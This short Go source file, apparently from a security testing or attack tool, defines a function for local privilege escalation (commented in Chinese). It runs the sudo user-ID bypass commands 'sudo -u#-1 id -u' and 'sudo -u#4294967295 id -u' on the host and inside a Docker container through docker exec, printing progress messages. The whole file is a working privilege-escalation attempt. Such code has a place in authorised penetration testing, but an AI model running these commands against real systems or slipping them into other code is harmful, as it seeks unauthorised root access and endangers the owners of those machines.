package tool

import (
	"fmt"
	"time"
)

//本地提权

func SudoRights() {
	fmt.Println("sudo -u#-1 id -u提权")
	Exec_shell("sudo -u#-1 id -u")
	fmt.Println("sudo -u#4294967295 id -u提权")
	Exec_shell("sudo -u#4294967295 id -u")

	fmt.Println("容器本地提权开始")
	fmt.Println(RunInLinux("docker exec " + GlobalObject.SshContainerId + " sh -c \" " + "sudo -u#-1 id -u" + " \""))
	time.Sleep(time.Second * 10)
	fmt.Println(RunInLinux("docker exec " + GlobalObject.SshContainerId + " sh -c \" " + "sudo -u#4294967295 id -u" + " \""))
	fmt.Println("容器本地提权结束")

}
